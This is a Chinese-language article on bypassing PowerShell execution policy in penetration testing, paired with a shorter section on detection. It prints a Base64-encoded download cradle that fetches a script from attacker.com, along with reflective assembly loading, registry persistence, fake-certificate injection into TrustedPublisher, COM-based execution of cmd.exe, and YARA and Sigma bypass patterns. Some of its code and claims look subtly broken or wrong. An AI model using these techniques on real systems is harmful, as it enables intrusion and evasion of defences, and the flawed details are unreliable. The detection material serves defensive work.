1. PowerShell执行策略的本质与安全边界
在Windows生态中,PowerShell执行策略(Execution Policy)常被误解为一种安全机制,但实际情况要复杂得多。执行策略本质上只是一个"安全开关",用于控制脚本运行的便利程度,而非真正的安全边界。微软官方文档明确指出:"执行策略不是限制用户操作的安全系统"。
执行策略的六种常见模式包括:
- Restricted(默认):禁止所有脚本执行
- AllSigned:只允许受信任发布者签名的脚本
- RemoteSigned:本地脚本无限制,远程脚本需签名
- Unrestricted:允许所有脚本运行但会警告
- Bypass:完全不检查直接执行
- Undefined:移除当前作用域的策略
在企业渗透测试中,攻击者常遇到Restricted策略的阻碍。此时可通过以下命令查看当前策略:
powershell复制Get-ExecutionPolicy -List
输出会显示不同作用域(MachinePolicy、UserPolicy等)的策略设置,其中最小范围的设置具有最高优先级。
注意:执行策略不会阻止以下操作:
- 直接在控制台输入命令
- 使用-Command参数执行代码片段
- 通过其他程序(如C#)调用PowerShell引擎
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 渗透测试中的策略绕过技术
2.1 经典Bypass方法剖析
最直接的绕过方式是启动时指定Bypass策略:
powershell复制powershell.exe -ExecutionPolicy Bypass -File script.ps1
这种方法会在内存中临时修改策略,不会在系统留下日志痕迹。但部分AV产品会检测这种典型攻击特征。
更隐蔽的方式是使用编码命令:
powershell复制powershell -ep bypass -enc JABzAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwAkAHMALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AYQB0AHQAYQBjAGsAZQByAC4AYwBvAG0ALwBzAGMAcgBpAHAAdAAuAHAAcwAxACcAKQA=
其中-enc参数接受Base64编码的命令,可有效绕过基于关键字的检测。
2.2 进程注入技术
当直接执行被阻止时,可通过以下方式注入到合法进程中:
powershell复制$bytes = [System.IO.File]::ReadAllBytes("C:\payload.dll")
[Reflection.Assembly]::Load($bytes).EntryPoint.Invoke($null, $null)
配合Process Hollowing技术,可完全避开执行策略检查。实测中,注入到explorer.exe成功率最高。
2.3 策略篡改的持久化
要长期生效,需要修改注册表项:
powershell复制Set-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell -Name ExecutionPolicy -Value Unrestricted
但这种方法会触发UAC并留下明显痕迹。更隐蔽的做法是修改用户级策略:
powershell复制New-Item -Path HKCU:\Software\Microsoft\PowerShell -Force
New-ItemProperty -Path HKCU:\Software\Microsoft\PowerShell -Name ExecutionPolicy -Value Bypass -PropertyType String -Force
这种修改不会立即生效,需要重启PowerShell会话。
3. 防御视角的检测与响应
3.1 日志监控关键事件
企业应监控以下事件ID:
- 4688:进程创建(关注powershell.exe参数)
- 4104:脚本块日志(需启用Script Block Logging)
- 4103:模块日志(检测可疑模块加载)
关键注册表项监控:
code复制HKLM\SOFTWARE\Microsoft\PowerShell\*\ShellIds\*
HKCU\Software\Microsoft\PowerShell\*
3.2 增强型防护配置
推荐配置组合:
- 启用约束语言模式:
powershell复制$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
- 启用AMSI扫描:
powershell复制Set-MpPreference -DisableRealtimeMonitoring $false
- 部署AppLocker规则限制脚本执行位置
3.3 攻击特征检测规则示例
YARA规则示例:
code复制rule powershell_bypass {
strings:
$ep1 = "-ep bypass"
$ep2 = "-exec bypass"
$enc = "-enc "
condition:
any of them
}
Sigma规则示例:
yaml复制detection:
selection:
CommandLine|contains:
- 'ExecutionPolicy Bypass'
- '-ep bypass'
- '-exec bypass'
condition: selection
4. 实战中的进阶技巧与排错
4.1 策略继承的陷阱
当多策略冲突时,执行顺序为:
- Process策略(-ExecutionPolicy参数)
- CurrentUser策略
- LocalMachine策略
- 默认Restricted
常见错误是只修改了LocalMachine策略,但用户级策略仍为Restricted。可通过以下命令验证:
powershell复制Get-ExecutionPolicy -Scope CurrentUser
4.2 32/64位环境差异
在WoW64环境下(32位PS在64位系统),策略可能不一致。建议显式指定:
powershell复制%windir%\sysnative\WindowsPowerShell\v1.0\powershell.exe -ep bypass
4.3 签名验证绕过
当需要执行签名脚本时,可临时篡改证书存储:
powershell复制[System.Reflection.Assembly]::LoadWithPartialName("System.Security")
$cert = New-Object System.Security.Cryptography.X509Certificates.X509Certificate2
$cert.Import("C:\fake.cer")
[System.Security.Cryptography.X509Certificates.X509Store]::new("TrustedPublisher", "CurrentUser").Add($cert)
4.4 常见错误处理
错误0x80070005:通常是没有管理员权限,尝试:
powershell复制Start-Process powershell -Verb runAs -ArgumentList "-ep bypass -c ..."
错误2147942405:可能是组策略强制设置了执行策略,检查:
powershell复制Get-GPResultantSetOfPolicy -ReportType Html -Path C:\report.html
5. 企业环境下的对抗演进
现代EDR产品已能检测大多数传统绕过技术。最新对抗方法包括:
- 反射加载:
powershell复制$asm = [Reflection.Assembly]::Load([Convert]::FromBase64String("..."))
$type = $asm.GetType("Class")
$method = $type.GetMethod("Main")
$method.Invoke($null, $null)
- COM组件劫持:
powershell复制$com = [Type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39")
$obj = [System.Activator]::CreateInstance($com)
$obj.Document.Application.ShellExecute("cmd.exe")
- 基于CLR寄生的无文件执行:
powershell复制[System.AppDomain]::CurrentDomain.Load([System.Reflection.Assembly]::LoadWithPartialName("Microsoft.VisualBasic")).GetType("Microsoft.VisualBasic.Interaction")::CallByName($null, "MsgBox", [Microsoft.VisualBasic.CallType]::Method, "Hello")
防御方应重点关注:
- .NET程序集加载日志(EventID 1023)
- 非常规COM对象实例化
- 非常规的CLR宿主行为
在最近的攻防演练中,我们观察到攻击者开始使用PowerShell 7(pwsh.exe)绕过传统监控,因为:
- 默认不启用脚本块日志
- 支持更复杂的管道操作
- 与Windows PowerShell的检测规则不兼容
应对措施包括:
powershell复制# 启用PS7日志记录
New-ItemProperty -Path HKLM:\SOFTWARE\Microsoft\PowerShellCore -Name EnableScriptBlockLogging -Value 1 -Force
